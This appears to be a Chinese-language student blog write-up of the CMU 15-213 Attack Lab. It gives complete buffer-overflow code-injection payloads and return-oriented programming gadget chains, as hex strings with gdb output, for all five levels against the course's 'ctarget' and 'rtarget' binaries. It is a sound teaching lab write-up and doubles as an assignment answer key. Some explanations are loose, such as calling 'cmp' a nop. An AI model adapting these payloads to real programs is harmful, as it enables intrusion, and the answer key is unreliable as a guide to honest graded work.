CMU 15-213 Lab3 Attack Lab
课程主页:http://www.cs.cmu.edu/afs/cs/academic/class/15213-f15/www/schedule.html
课程资料:https://github.com/EugeneLiu/translationCSAPP
课程视频:https://www.bilibili.com/video/av31289365/
这一部分回顾CSAPP的Attack Lab。
参考资料:
https://www.jianshu.com/p/db731ca57342
整个栈的地址和结构
为了后续讨论方便,这里列出栈的地址和其作用。
0x5561dc78 buffer[0-3]
0x5561dc7c buffer[4-7]
0x5561dc80 buffer[8-11]
0x5561dc84 buffer[12-15]
0x5561dc88 buffer[16-19]
0x5561dc8c buffer[20-23]
0x5561dc90 buffer[24-27]
0x5561dc94 buffer[28-31]
0x5561dc98 buffer[32-35]
0x5561dc9c buffer[36-39]
0x5561dca0 return address
0x5561dca4 return address
0x5561dca8 父栈
0x5561dcac 父栈
Part I: Code Injection Attacks
1
首先查看getbuf的汇编码:
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
buffer的长度为0x28=40,即输出最长为40,所以我们只要在40位之后输入自己需要的内容即可。
找到touch1的地址:
00000000004017c0 <touch1>
即
0x4017c0
注意内存的形式如下:
所以我们的输入要和目标相反,即
c0 17 40
所以构造如下输入文件Q1:
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
c0 17 40
然后运行如下命令得到A1:
gdb hex2raw
run < Q1 > A1
使用如下命令运行即可:
gdb ctarget
run -q -i A1
得到如下结果:
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 C0 17 40
[Inferior 1 (process 10407) exited normally]
备注:最好生成文件不要有txt后缀,我一开始带后缀始终有问题。
2
首先代码注入的方式如下:
备注:返回栈的地址用8个字节存储。
然后使用gdb找到栈的位置,即上图中的return address,方法如下:
gdb ctarget
(gdb) break *0x4017ac
(gdb) run -q -i A2
(gdb) print /x $rsp
$1 = 0x5561dc78
即0x5561dc78为我们需要的地址。
接着查看我们需要执行的操作,注意touch2的地址:
00000000004017ec <touch2>
以及cookie:
0x59b997fa
所以我们的命令如下:
mov $0x59b997fa,%rdi
push $0x4017ec
retq
备注,注意push的值是存储在rsp寄存器。
然后进行编译:
gcc -c L2.s
objdump -d L2.o > L2.d
得到如下结果:
L2.o: 文件格式 elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
备注:经过尝试,前面的命令只要按照顺序输入即可,无需反序。
所以最后结果为:
48 c7 c7 fa
97 b9 59 68
ec 17 40 00
c3 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
78 dc 61 55
00 00 00 00
然后运行如下命令得到A2:
gdb hex2raw
run < Q2 > A2
使用如下命令运行即可:
gdb ctarget
run -q -i A2
得到如下结果:
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
[Inferior 1 (process 4292) exited normally]
3
这个实验和前一个实验类似,不过要将字符串注入,注意到如下代码:
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval){
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
上述随机操作会使得getbuf栈中的结果被破坏,所以字符串不能存储在这部分的栈中,而getbuf的父栈不会被破坏,所以应该将字符串存储在该部分,这也是这部分的核心难点。
从整个栈的地址和结构中得到父栈的地址为0x5561dca8,所以字符串应该存储在此处,于是汇编码如下:
mov $0x5561dca8,%rdi
push $0x4018fa
ret
然后进行编译:
gcc -c L3.s
objdump -d L3.o > L3.d
得到如下结果:
L3.o: 文件格式 elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 pushq $0x4018fa
c: c3 retq
然后计算cookie的16进制表示:
char a[100] = "59b997fa";
for (int i = 0; i < 9; i++){
printf("%x\n", a[i]);
}
得到如下结果:
35 39 62 39
39 37 66 61
00
所以最后结果为:
48 c7 c7 a8
dc 61 55 68
fa 18 40 00
c3 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
78 dc 61 55
00 00 00 00
35 39 62 39
39 37 66 61
00
然后运行如下命令得到A3:
gdb hex2raw
run < Q3 > A3
使用如下命令运行即可:
gdb ctarget
run -q -i A3
得到如下结果:
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
[Inferior 1 (process 4589) exited normally]
Part II: Return-Oriented Programming
实验4,5为Return-Oriented Programming,由于栈会随机初始化,所以不能在栈上存储代码,只能利用已有的代码拼凑成我们需要的结果。
回顾汇编代码:
mov $0x59b997fa,%rdi
push $0x4017ec
retq
mov $0x5561dca8,%rdi
push $0x4018fa
ret
所以无论如何,我们一定需要将值移动到%rdi上,对应的二进制操作为
48 89 ?7
48 89 ?f
在反汇编结果中搜索48 89,得到如下代码:
move rsp rdi
4019a2
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq
其中move rsp rdi为操作,0x4019a2为地址。
利用类似的方法搜索出我们需要的代码块,得到如下结果:
(%rdi,%rsi,1),%rax
4019d6
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq
move rsp rax
401a06
0000000000401a03 <addval_190>:
401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax
401a09: c3 retq
move rsp rdi
4019a2
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq
move rax rdi
4019b0
00000000004019ae <setval_237>:
4019ae: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi)
4019b4: c3 retq
movl eax edx
4019dd
00000000004019db <getval_481>:
4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax
4019e0: c3 retq
movl ecx esi
401a27
0000000000401a25 <addval_187>:
401a25: 8d 87 89 ce 38 c0 lea -0x3fc73177(%rdi),%eax
401a2b: c3 retq
movl rdx rcx
401a34
0000000000401a33 <getval_159>:
401a33: b8 89 d1 38 c9 mov $0xc938d189,%eax
401a38: c3 retq
pop rax
4019cc
00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3 retq
move %rax %rdi
4019a2
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq
move %rsp %rax
401a06
0000000000401a03 <addval_190>:
401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax
401a09: c3 retq
这里注意两点,第一点是2比特的操作会被忽略,例如
48 89 c7 c7
c0
等价于
48 89 c7
c0
第二点是4比特的操作不会被忽略,所以要选择nop操作,例如我们选择
0000000000401a25 <addval_187>:
401a25: 8d 87 89 ce 38 c0 lea -0x3fc73177(%rdi),%eax
401a2b: c3 retq
而不是
0000000000401a11 <addval_436>:
401a11: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax
401a17: c3 retq
这是因为
38 c0
对应nop操作。
例子
来看个ROP的具体例子:
4
我们原始的汇编代码为:
mov $0x59b997fa,%rdi
push $0x4017ec
retq
结合之前的代码块,将上述操作改写为:
push $0x59b997fa
pop rax
move %rax %rdi
push $0x4017ec
retq
注意到
pop rax
4019cc
00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3 retq
所以结合之前的例子,不难得到前两个操作对应如下代码:
cc 19 40 00
00 00 00 00
fa 97 b9 59
00 00 00 00
接着查看如下代码块:
move %rax %rdi
4019a2
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq
所以操作3,4对应如下代码:
a2 19 40 00
00 00 00 00
最后一个操作的代码如下:
ec 17 40 00
00 00 00 00
所以整体代码如下:
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
cc 19 40 00
00 00 00 00
fa 97 b9 59
00 00 00 00
a2 19 40 00
00 00 00 00
ec 17 40 00
00 00 00 00
然后运行如下命令得到A4:
gdb hex2raw
run < Q4 > A4
使用如下命令运行即可:
gdb rtarget
run -q -i A4
得到如下结果:
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00
[Inferior 1 (process 5152) exited normally]
5
和上一个实验类似,总体流程如下:
1.pop rax(rax=偏移,4019cc)
2.movl rax rdx(4019dd)
3.movl rdx rcx(401a34)
4.movl rcx rsi(401a27)
5.move %rsp %rax(401a19)
6.move %rax %rdi(4019a2)
7.(%rdi,%rsi,1),%rax(得到地址)(4019d6)
8.move rax rdi(参数地址)(4019a2)
9.函数位置
10.字符串
其中偏移为20,是操作5和操作10的距离($4\times 5= 20$),整体代码如下:
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
cc 19 40 00
00 00 00 00
20 00 00 00
00 00 00 00
dd 19 40 00
00 00 00 00
34 1a 40 00
00 00 00 00
27 1a 40 00
00 00 00 00
06 1a 40 00
00 00 00 00
a2 19 40 00
00 00 00 00
d6 19 40 00
00 00 00 00
a2 19 40 00
00 00 00 00
fa 18 40 00
00 00 00 00
35 39 62 39
39 37 66 61
00 00 00 00
然后运行如下命令得到A5:
gdb hex2raw
run < Q5 > A5
使用如下命令运行即可:
gdb rtarget
run -q -i A5
得到如下结果:
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:3:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 CC 19 40 00 00 00 00 00 20 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 27 1A 40 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00
[Inferior 1 (process 5202) exited normally]